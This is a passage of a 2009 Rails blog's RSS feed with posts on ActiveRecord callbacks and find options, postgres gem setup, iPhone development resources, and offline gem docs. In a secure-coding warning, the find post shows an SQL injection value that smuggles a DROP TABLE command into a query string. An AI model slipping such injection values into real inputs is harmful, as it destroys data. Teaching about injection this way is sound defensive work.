      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/OY7MurHruGE/rails-application-maintenance</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2009/06/09/rails-application-maintenance</feedburner:origLink></item>
    <item>
      <title>Introspecting Rails Models and Controllers Callbacks</title>
      <description>&lt;p&gt;Once models and controllers grow to a certain size and complexity, it
gets tricky to figure out what callbacks act upon them.  This is
especially true for objects that are several inheritance layers deep,
have multiple mixins, were written a long long time ago, or any
combination of the above.  I've picked up a few tools for crushing
nasty little callback buggers that crop up every now and then.  I hope
you find them useful!&lt;/p&gt;&lt;h2&gt;ActiveRecord Callbacks&lt;/h2&gt;&lt;p&gt;Model validation and save callbacks are provided by the module
&lt;a href="http://api.rubyonrails.org/classes/ActiveRecord/Callbacks.html"&gt;ActiveRecord::Callbacks&lt;/a&gt;.
If you read through this code, you'll find that it's built on top of a
great little module called
&lt;a href="http://api.rubyonrails.org/classes/ActiveSupport/Callbacks.html"&gt;ActiveSupport::Callbacks&lt;/a&gt;.
I'm a big fan of this module because it gives you a nice abstraction
to defining callbacks on arbitrary Ruby objects.&lt;/p&gt;&lt;p&gt;The callbacks defined on ActiveRecord::Base sub-classes are&lt;/p&gt;&lt;pre&gt;&lt;code&gt;after_find
after_initialize
before_save
after_save
before_create
after_create
before_update
after_update
before_validation
after_validation
before_validation_on_create
after_validation_on_create
before_validation_on_update
after_validation_on_update
before_destroy
after_destroy
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To see the list of a particular callbacks, suffix the callback type
with '_callback_chain'.  For example, to see the 'before_save'
callbacks defined on the model Supplier:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Supplier.before_save_callback_chain
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This will give you a list of
&lt;a href="http://api.rubyonrails.org/classes/ActiveSupport/Callbacks/Callback.html"&gt;ActiveSupport::Callbacks::Callback&lt;/a&gt;
objects that have interesting attributes such as identifier, kind,
method, and options.&lt;/p&gt;&lt;p&gt;To get a named list of callbacks, do&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Supplier.before_save_callback_chain.map(&amp;amp;:method)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To see whether a callback is conditional, check out it's 'options'&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Supplier.before_save_callback_chain.first.options
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;ActionController Callback&lt;/h2&gt;&lt;p&gt;Controller callbacks documentation can be found at
&lt;a href="http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html"&gt;ActionController::Filters::ClassMethods&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;SuppliersController.filter_chain&lt;/p&gt;&lt;p&gt;Again, the array of filter objects returned by 'filter_chain' are
ActiveSupport::Callbacks::Callback instances.  This lets you check the
method names being called, as well as what options are set on it.&lt;/p&gt;&lt;h2&gt;In General&lt;/h2&gt;&lt;p&gt;Unrelated to callbacks, but a useful debugging tool to figure out what
caused your code to be in it's current context, use
&lt;a href="http://www.ruby-doc.org/core/classes/Kernel.html#M005955"&gt;Kernel.caller&lt;/a&gt;
to get a list of filenames and methods of the call stack.  It's
usually pretty noisy, so I use
&lt;a href="http://www.ruby-doc.org/core/classes/Enumerable.html#M003152"&gt;Enumerable#grep&lt;/a&gt;
to filter for what I'm interested in.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Kernel.caller.grep /supplier/
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The combination of these 3 tips have helped me debug strange callback
order bugs, as well as help me learn about a complex model that I've
never dealt with before.  Unfortunately, I put off writing about this
topic for so long that I've forgotten some of the tips.  As always, I
found reading into the ActiveRecord and ActiveSupport code to be
particularly enlightening.  If you have some other interesting
introspection tips that help you develop, please share them in the
comments ;)&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/5h7yIvDfYYg" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Thu, 4 Jun 2009 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/5h7yIvDfYYg/introspecting-rails-models-and-controllers</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2009/06/04/introspecting-rails-models-and-controllers</feedburner:origLink></item>
    <item>
      <title>Ruby Postgresql Gem Cleanup</title>
      <description>&lt;p&gt;I ran into some trouble with getting a good native postgresql driver
installed.  Here are some links and resources I found to be useful.  I
also wrote a &lt;a href="http://www.whatcodecraves.com/articles/2008/02/05/setup_rails_with_postgresql/"&gt;checklist for bootstrapping a new Rails app with
postgres&lt;/a&gt;
as the adapter.&lt;/p&gt;&lt;p&gt;There are several choices for postgresql adapters.  The most active
and up-to-date one appears to be
&lt;a href="http://rubyforge.org/projects/ruby-pg/"&gt;ruby-pg&lt;/a&gt;, previously known as
ruby-postgres.  ruby-pr was the one I was using originally, but this
one is non-native and unmaintained.&lt;/p&gt;&lt;p&gt;A good starting point was &lt;a href="http://www.robbyonrails.com/articles/2007/06/19/installing-ruby-on-rails-and-postgresql-on-os-x-second-edition"&gt;Robby's 'Installing Ruby on Rails and
Postgresql on OS X 2nd
edition&lt;/a&gt;.
&lt;a href="http://shifteleven.com/articles/2008/03/21/installing-postgresql-on-leopard-using-macports"&gt;ShiftEleven&lt;/a&gt;
also had detailed instructions for installing postgresql with
macports.&lt;/p&gt;&lt;p&gt;The exact steps I took that worked for me were:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# start postgres on computer start.
sudo launchctl load -w /Library/LaunchDaemons/org.macports.postgresql83-server.plist

# the ARCHFLAGS is because of Leopard weirdness.
sudo env ARCHFLAGS="-arch i386" gem install pg
&lt;/code&gt;&lt;/pre&gt;&lt;!--
## Getting Warehouse to work with postgres and newer rails ##

  changed database.yml to postgresql adapter
  removed vendor/rails
  changed to rails 2.1.1
  changed production to not cache_classes on db tasks
  rake warehouse:bootstrap

  # missing svn/core
  http://www.jtanium.com/2008/10/13/using-native-bindings-with-ruby-enterprise-edition/
  sudo aptitude install libsvn-ruby1.8
--&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/Ba3-xQ36K70" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 14 Apr 2009 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/Ba3-xQ36K70/ruby-postgresql-gem-cleanup</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2009/04/14/ruby-postgresql-gem-cleanup</feedburner:origLink></item>
    <item>
      <title>Fast Tracked iPhone Development</title>
      <description>&lt;p&gt;Jumping into a new language, a new framework, and a new set of tools
is overwhelming!  But the best way to learn is to be utterly crushed
by the technology, then have friends pick up the pieces.  Once you've
seen a good broad overview of what's available, you're more capable of
finding resources on your own.  Here is my chronological step by step
guide to getting bootstrapped.&lt;/p&gt;&lt;h2&gt;Ready...&lt;/h2&gt;&lt;p&gt;I don't have an iPhone (yet).  One criteria for me to buy the iPhone
is whether developing for the device is fun.  You'd think this would
prevent me from developing, but Apple's iPhone SDK includes an
emulator.  The SDK is a huge, so start downloading &lt;strong&gt;right now&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;&lt;em&gt;1 hour+&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://developer.apple.com/iphone/"&gt;Download the iPhone SDK&lt;/a&gt; and install it.&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Set...&lt;/h2&gt;&lt;p&gt;While you wait, check out Apple's video overviews.  They're really
slim on technical content, but help familiarize you with how the
frameworks are organized.  I read the documents with the videos
playing the in background.  The videos are too slow paced to watch by
themselves.&lt;/p&gt;&lt;p&gt;&lt;em&gt;2 hour chunks until your brain goes numb&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="http://developer.apple.com/iphone/library/navigation/GettingStarted.html"&gt;Getting Started Documents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://deimos.apple.com/WebObjects/Core.woa/BrowsePrivately/adc.apple.com.1479953497"&gt;Getting Started Videos&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;After you get sick of the market-speak hype, familiarize yourself with
the patterns and concepts behind Objective-C and the Cocoa framework.&lt;/p&gt;&lt;p&gt;&lt;em&gt;3 hours&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="http://developer.apple.com/documentation/Cocoa/Conceptual/ObjectiveC/Introduction/introObjectiveC.html"&gt;Introduction to Objective C&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://developer.apple.com/documentation/Cocoa/Conceptual/CocoaFundamentals/Introduction/Introduction.html"&gt;Introduction to Cocoa&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Understanding the lifecycle of an iPhone application can help you
understand how the different pieces of an app fits together.&lt;/p&gt;&lt;p&gt;&lt;em&gt;1 hour&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developer.apple.com/iphone/library/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/ApplicationEnvironment/ApplicationEnvironment.html"&gt;iPhone Application Programming Guide: The Core Application&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Go!&lt;/h2&gt;&lt;p&gt;Watching a lot of videos and reading a lot of documents is a good
start, but it really doesn't stick until you apply it.  At this point,
I had to struggle with the language, the framework, Xcode, and
Interface Builder.  To keep your sanity, I recommend working through
Apple's sample projects.  If you get bored, I recommend flipping
through &lt;a href="http://www.appsamuck.com/"&gt;Appsamuck&lt;/a&gt; for some good examples.&lt;/p&gt;&lt;p&gt;&lt;em&gt;Each apps takes about an hour to go through&lt;/em&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://appsamuck.com/"&gt;Appsamuck&lt;/a&gt; - 31 small apps to practice on.&lt;/li&gt;
&lt;/ul&gt;&lt;h2&gt;Keep it up&lt;/h2&gt;&lt;p&gt;I'm very lucky to have my iPhone gurus Mike, Stephen, and Allen on
hand to teach me best practices and tips and tricks as I go along.  If
anyone feels like doing a hack session for a few hours on weeknights,
ping me at jch at this domain.  I'll update this post with more useful
bootstrapping links as I go along.&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://www.stanford.edu/class/cs193p/cgi-bin/index.php"&gt;Stanford iPhone class&lt;/a&gt; - comes with a podcast.&lt;/li&gt;
&lt;li&gt;code completion - ESC to show possible completions, ctrl-/ to jump to next placeholder argument.&lt;/li&gt;
&lt;/ul&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/OE-c_ijaCL0" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Fri, 10 Apr 2009 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/OE-c_ijaCL0/fast-tracked-iphone-development</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2009/04/10/fast-tracked-iphone-development</feedburner:origLink></item>
    <item>
      <title>Adventures with ActiveRecord find</title>
      <description>&lt;p&gt;Retrieving records from the database and mapping the results into
ActiveRecord models are a big part of every Rails app.  A large
majority of your controllers will retrieve one or more ActiveRecord
models.  For something as important and fundamental as 'find', knowing
more of it's options and idioms can help you write less, write it more
elegantly, and do more.&lt;/p&gt;&lt;p&gt;For starters, let's look at the basic form.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Fruit.find(1)  # single integer id
Fruit.find(params[:id])  # single string id
Fruit.find(@user1, @user2)  # by list
Fruit.find([@user1, @user2]) # by array
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is how you find a record given an id.  When you search like this,
it will raise
&lt;a href="http://api.rubyonrails.org/classes/ActiveRecord/RecordNotFound.html"&gt;ActiveRecord::RecordNotFound&lt;/a&gt;
if no record can be found.  This exception is what causes the 404 page
to load in your controllers when you hit a URL for a record that
doesn't exist.  You can emulate this by explicitly raising
RecordNotFound if you don't want a user to access a certain record.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@banana = Fruit.find(5)

# pretend that no record was found and show a 404 page.
if @banana.rotten?
  raise ActiveRecord::RecordNotFound.new
end
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;First, Last, All&lt;/h2&gt;&lt;pre&gt;&lt;code&gt;Fruit.find(:first)
Fruit.first
Fruit.find(:last)
Fruit.last
Fruit.find(:all)
Fruit.all
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;These methods do what you expect them to.  I prefer using the shortcut
methods 'all', 'first' and 'last', rather than explicitly saying
Fruit.find(:first).  The order for :first and :last is the 'id' of the
table.  Think of 'first' as the first inserted record, and 'last' as
the most recently inserted record.&lt;/p&gt;&lt;p&gt;Something I would like to see more people using is the shortcuts in
conjunction with find's arguments.  Instead of:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Fruit.find(:all, :conditions =&amp;gt; { :color =&amp;gt; 'yellow' })
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I prefer the shorter:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Fruit.all(:conditions =&amp;gt; { :color =&amp;gt; 'yellow' })
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This works with all 3 shortcut methods.  It also works with all of the
options that the normal find method accepts.&lt;/p&gt;&lt;h2&gt;Conditions&lt;/h2&gt;&lt;p&gt;Conditions are what get translated into the WHERE clause in the SQL
statement.  There are 3 different way to specify your conditions: the
String form, the Array form, and the Hash form.&lt;/p&gt;&lt;h3&gt;String Conditions&lt;/h3&gt;&lt;p&gt;The string form is easy to understand and is useful for querying
specific known values.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Fruit.all(:conditions =&amp;gt; "name = 'banana' OR name = 'apple'")
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;DO NOT&lt;/strong&gt; use the string form for tainted values that come in from
submitted web forms.  The String form does not escape values for you
and can cause SQL injection attacks if you aren't careful.  For example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# DO NOT do this!
Fruit.first(:conditions =&amp;gt; "name = '#{params[:name]}')
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While this may look harmless at first, there's no guarantee that
params[:name] is a safe value.  It could very well have the value&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# dangerous params[:name] value
'; DROP TABLE fruits;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;When you interpolate that value into the condition string, you end up
dropping all your delicious fruits!  When you need to do a find based
on unsafe web input, use the Array and Hash forms instead.  Both of
these will escape and quote the values properly.&lt;/p&gt;&lt;h3&gt;Array Conditions&lt;/h3&gt;&lt;p&gt;Using the same example, we could write that last dangerous query as:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Fruit.first(:conditions =&amp;gt; ["name IN (?) OR color = ?", params[:keywords], params[:color]])
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This works, but gets kind of ugly when you have a lot of values to
interpolate.  To make it more readable, you can name your
interpolations in a hash instead of using '?'.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Fruit.all(:conditions =&amp;gt; [
  "name IN (:keywords) OR color = :color",
  {
    :keywords =&amp;gt; params[:keywords],
    :color    =&amp;gt; params[:color]
  }
])
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Finally, we come to my favorite and most used form of condition.&lt;/p&gt;&lt;h3&gt;Hash Conditions&lt;/h3&gt;&lt;p&gt;I find this style to be the most readable for equality and SQL IN
conditions.  It keeps the column name close to the value being
queried.  If the value is an Array, then ActiveRecord knows to use the
SQL IN operator.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Fruit.all(:conditions =&amp;gt; {
  :name  =&amp;gt; params[:keywords],  # SQL - name IN ('banana', 'apple')
  :color =&amp;gt; params[:color]      # SQL - color = 'yellow'
})
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you use :joins or :include to pull in associations, you can still
use the Hash form to do equality comparisons.  For example:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Fruit.all(:include =&amp;gt; [ :company ], :conditions =&amp;gt; {
  "company.name"  =&amp;gt; params[:company_name],
  "company.phone" =&amp;gt; params[:phone],
  :color          =&amp;gt; params[:color]
})
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In general, I like using the String form to do short hardcoded SQL
queries like "aroma IS NULL".  The Hash form is ideal for conditions
that only use the equality operator.  The Array form is the most
general purpose; I try to use the named arguments version when using
the Array form.&lt;/p&gt;&lt;h2&gt;Associations&lt;/h2&gt;&lt;p&gt;You can use the :include or :joins to pull in a model's associations
if you want to use them in the find's :conditions, or if you want them
to be &lt;a href="http://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html"&gt;eager
loaded&lt;/a&gt;
in the results.  :include uses 'LEFT OUTER JOIN' and :joins uses
'INNER JOIN'.  Both forms can take a raw SQL string, or symbols for
what associations to follow.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# fruits LEFT OUTER JOIN companies ON companies.id = fruits.company_id
Fruit.all(:include =&amp;gt; [ :company ])

# fruits INNER JOIN companies ON companies.id = fruits.company_id
Fruit.all(:joins =&amp;gt; [ :company ])
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can follow associations arbitrarily deep:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# fruits LEFT OUTER JOIN companies ON companies.id = fruits.company_id LEFT OUTER JOIN employees ON employees.company_id = company.id LEFT OUTER JOIN profiles.employee_id = employees.id
Fruit.all(:include =&amp;gt; [ { :company =&amp;gt; { :employees =&amp;gt; :profiles } } ])
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Multiple associations work too:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Fruit.all(:include =&amp;gt; [ :company, :farm ])
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For more examples, &lt;a href="http://www.google.com/search?q=rails+eager+loading"&gt;google 'rails eager
loading'&lt;/a&gt;, and
read up about &lt;a href="http://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html"&gt;Rails Eager
Loading&lt;/a&gt;.
Use :joins when an inner join is sufficient.  This will give you
faster queries, and cleaner log output.&lt;/p&gt;&lt;h2&gt;Making Results Things Unique&lt;/h2&gt;&lt;p&gt;When you do multiple joins or includes, you may end up with duplicates
in the results.  Rather than removing the duplicates in code, let
ActiveRecord handle it.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Fruit.all(:select =&amp;gt; "DISTINCT fruits.*", ...)
&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Mapping Fewer Columns&lt;/h2&gt;&lt;p&gt;By default, all selects will select all columns (SELECT * FROM ...).
If you know ahead of time that you'll only be using a few specific
columns, specify them with :select and large queries will feel
noticeably faster.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@banana = Fruit.first(:select =&amp;gt; 'id, name')
@banana.id    # ok
@banana.name  # ok
@banana.color # raise ActiveRecord::MissingAttributeError
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is especially useful when writing data migrations that only need
to modify a specific column's data.  Make sure you include 'id'
because it's not included by default.&lt;/p&gt;&lt;h2&gt;Named Scopes&lt;/h2&gt;&lt;p&gt;&lt;a href="http://api.rubyonrails.org/classes/ActiveRecord/NamedScope/ClassMethods.html#M002120"&gt;named_scope&lt;/a&gt;
is great.  Everything you learn about 'find' applies to named_scope.
It's a great way to compose complex queries.&lt;/p&gt;&lt;h2&gt;It's like eating your vegetables...&lt;/h2&gt;&lt;p&gt;Grokking the various ways to retrieve database rows and control how
they are mapped into models by your ORM will make you a stronger
developer regardless of what framework you're using.  There'll be less
code to maintain, and that code will be both readable and concise.
Spend an afternoon and read the documentation for find, eager loading,
and named_scope.  I promise that even if you've been doing Rails for a
while, you'll pick up on an option or a style that you hadn't seen
before.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/rMFC8EhDpfo" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 8 Apr 2009 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/rMFC8EhDpfo/adventures-with-active-record-find</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2009/04/08/adventures-with-active-record-find</feedburner:origLink></item>
    <item>
      <title>Rails 2.2.2 Chicken and Egg Migrations Headache</title>
      <description>&lt;p&gt;For this upcoming March release, we plan to upgrade from Rails 2.1 to
Rails 2.2.2. When testing bootstrapping fresh instances of our app, we
ran across an annoying migrations problem.  Read on to see how we
resolved it.&lt;/p&gt;&lt;p&gt;The bootstrap process for our app is pretty straightforward.  We
prepare the new empty database by loading db/schema.rb from our last
stable release.  db/schema.rb is kept in sync as we move from one
release to the next.  Once the structure of the database is created
with db:schema:load, we setup initial defaults in the app by loading
yaml fixtures via a custom db:seed:load rake task.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;desc "Initialize database"
task :seed, :roles =&amp;gt; :app do
  run &amp;lt;&amp;lt;-CMD
    cd #{current_path} &amp;amp;&amp;amp;
    rake db:schema:load &amp;amp;&amp;amp;
    rake db:seed:load SRC=db/blank SEEDS=all
  CMD
end
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Easy peasey right? I was very annoyed when db:schema:load stopped dead
in it's page long backtrace.  The offending error was:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Mysql::Error: Table 'coupa_blah.setup doesn't exist: SHOW FIELDS FROM `setup`
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Looking a little deeper, it became apparent that models and
controllers assumes the existence of the 'setup' table, and reference
it when they are loaded for configuration settings.  However, the
'setup' table is created and populated by db:schema:load and
db:seed:load.  Chicken and egg, you have foiled me again!&lt;/p&gt;&lt;p&gt;I knew it was a problem with class caching because when I tried
running db:schema:load in development mode, it worked without a
hiccup.
&lt;a href="http://api.rubyonrails.org/classes/Rails/Configuration.html"&gt;Rails::Configuration&lt;/a&gt;
told me that there is a variable &lt;code&gt;eager_load_paths&lt;/code&gt; that
determines where to eager load.  In our environment.rb, I added this
to the &lt;code&gt;Rails::Initializer&lt;/code&gt; block:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# Hint: this doesn't fix our problem!!
config.eager_load_paths = []
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At first glance, this not only fixed the db:schema:load problem, but
had the added side benefit of speeding up start up times of Passenger
app servers, and script/console.  Of course, it was too good to be
true.  I soon realized that weird things in our app were broken.  We
were getting method undefined errors on classes that obviously had
them.  It was frustrating, but at least I know &lt;a href="http://rails.lighthouseapp.com/projects/8994/tickets/802-eager-load-application-classes-can-block-migration"&gt;I'm not
alone&lt;/a&gt;.
It turns out that we need our model classes to be eager loaded.  I
ended up turning eager loading back on and adding this hack to
environments/production.rb:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# kids, this is what an ugly hack looks like. Don't worry, Rails
# 2.3 will fix this.
config.cache_classes = (File.basename($0) == "rake" &amp;amp;&amp;amp; !ARGV.grep(/db:/).empty?) ? false : true
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If &lt;code&gt;cache_classes&lt;/code&gt; is false, then the paths in
&lt;code&gt;eager_load_paths&lt;/code&gt; is ignored, and no eager loading is
done.  The conditional basically turns off eager loading for any rake
task within the 'db' namespace.  The hack was already there, but the
previous version specifically looked for 'db:migrate', whereas this
one will exempt db:schema:load and db:seed:load as well.&lt;/p&gt;&lt;p&gt;Fortunately, according to the &lt;a href="http://rails.lighthouseapp.com/projects/8994/tickets/802-eager-load-application-classes-can-block-migration"&gt;lighthouse
ticket&lt;/a&gt;
on this issue, it looks like Rails 2.3 will default to turning off
eager loading of classes for rake tasks.  Until then, this hack will
have to do.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/18xx7dvn2lw" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Tue, 17 Mar 2009 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/18xx7dvn2lw/rails-2.2.2-chicken-and-egg-migrations-headache</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2009/03/17/rails-2.2.2-chicken-and-egg-migrations-headache</feedburner:origLink></item>
    <item>
      <title>Rails and Gems Documentation Everywhere</title>
      <description>&lt;p&gt;&lt;img src="/images/mobile-me.png" alt="stick figure of me and macbook" style="float:left;padding:0 10px 10px;"&gt; A great thing about
&lt;a href="http://www.coupa.com/"&gt;Coupa&lt;/a&gt; work is how I can hack it up without a
network connection.  The codebase is checked out and I run mysql
locally.  I fire up emacs and a script/server and I'm pretty much good
to go.  The only downside is not being able to access the rails and
gems docs.  Here's what I did to put together a productive local
setup.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; 2009-03-30 &lt;a href="http://jasonseifer.com/2009/02/22/offline-gem-server-rdocs"&gt;Jason
  Seifer&lt;/a&gt;
  of RailsEnvy does a better job of explaining the process than I do.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; For the rest of this guide, I'm going to assume you have
ruby and gem installed via MacPorts.  If they aren't, change the
directories in the commands appropriately.&lt;/p&gt;&lt;p&gt;&lt;br style="clear:both"&gt;&lt;/p&gt;&lt;h2&gt;Gems&lt;/h2&gt;&lt;p&gt;First of all, let's generate the documentation for all of your
gems. If you're more accustomed to the layout of Rails documentation,
then install &lt;a href="/files/rdoc_template.rb"&gt;Jamis's rdoc template&lt;/a&gt;.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;# this step is optional
cd /opt/local/lib/ruby/1.8/rdoc/generators/template/html
sudo mv html html.original.rb
sudo curl -o html.rb http://www.whatcodecraves.com/articles/2009/02/28/rails_and_gems_documentation_anywhere/rdoc_template.rb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(The link to the original template was broken for me.)&lt;/p&gt;&lt;p&gt;Now actually generate the rdocs.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;sudo gem rdoc --all
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;After the command finishes, start a gem server so you can browse the
docs:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;gem server --daemon
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Point your browser at &lt;a href="http://localhost:8088"&gt;the gem server&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Rails&lt;/h2&gt;&lt;p&gt;You'll notice that no rdocs were generated for the Rails gem. This is
because the rdoc task is intended to be run from the root of a frozen
Rails app.  This is amazingly annoying, but is a &lt;a href="http://www.nullislove.com/2007/05/29/rails-documentation/"&gt;solved
problem&lt;/a&gt;.
Basically, you have to freeze Rails in your app, rdoc it, unfreeze it,
and copy over the rdocs.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;cd myapp
rake rails:freeze:gems
rake doc:rails
rake rails:unfreeze
sudo cp -R doc/api/ /opt/local/lib/ruby/gems/1.8/doc/rails-2.1.1/rdoc/
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now you can code from anywhere!  As an added bonus, the docs will load
blazingly fast.&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/v5oMIMkzfIA" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Sat, 28 Feb 2009 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/v5oMIMkzfIA/rails-and-gems-documentation-anywhere</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2009/02/28/rails-and-gems-documentation-anywhere</feedburner:origLink></item>
    <item>
      <title>Another .irbrc Jewel</title>
      <description>&lt;p&gt;A while back, I discovered the magical
&lt;a href="http://giantrobots.thoughtbot.com/2008/12/23/script-console-tips"&gt;.irbrc&lt;/a&gt;.
If you scroll down to the comments, Arthur and I left a tip on how to
view arbitrary script/console output in Textmate.  It's really amazing
for XML or big chunks of output.  Other useful irb links after the
fold.&lt;/p&gt;&lt;p&gt;&lt;a href="http://stephencelis.com/"&gt;Stephen Cells&lt;/a&gt; mentioned the &lt;a href="http://utilitybelt.rubyforge.org/"&gt;utilitybelt
ngem&lt;/a&gt;. It might be overkill, but
I'll probably pick through for a few good bits.&lt;/p&gt;&lt;p&gt;I added another snippet to my .irbrc for copying stuff to the
clipboard on OS X.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class Object
  def pbcopy(string)
    IO.popen('pbcopy', 'w') { |f| f.puts(string) }
    nil
  end
end
&lt;/code&gt;&lt;/pre&gt;&lt;img src="http://feeds.feedburner.com/~r/whatcodecraves/~4/Luw_6BkeWOo" height="1" width="1"/&gt;</description>
      <author>Jerry Cheung</author>
      <pubDate>Wed, 18 Feb 2009 00:00:00 +0000</pubDate>
      <link>http://feedproxy.google.com/~r/whatcodecraves/~3/Luw_6BkeWOo/another-irbrc-jewel</link>
    <feedburner:origLink>http://www.whatcodecraves.com/articles/2009/02/18/another-irbrc-jewel</feedburner:origLink></item>
    <item>
      <title>Multiple Gmail Accounts on OSX Done Right</title>
      <description>&lt;p&gt;I learned this tip from Seggy and I've explained it to several people
already. If you've fallen in love with Gmail's web interface, then
you're going to love this solution.&lt;/p&gt;&lt;p&gt;One annoyance I have on my work laptop is switching between work email
and personal email. For the longest time, I suffered with using Apple
Mail for work stuff and Gmail's web interface for my personal mail.  I
hate Apple Mail, and I hate IMAP and all it's syncing headaches.
Gmail's web interface is the exact opposite. It's accessible
everywhere, stays in sync, and has the &lt;em&gt;best&lt;/em&gt; search and organizing
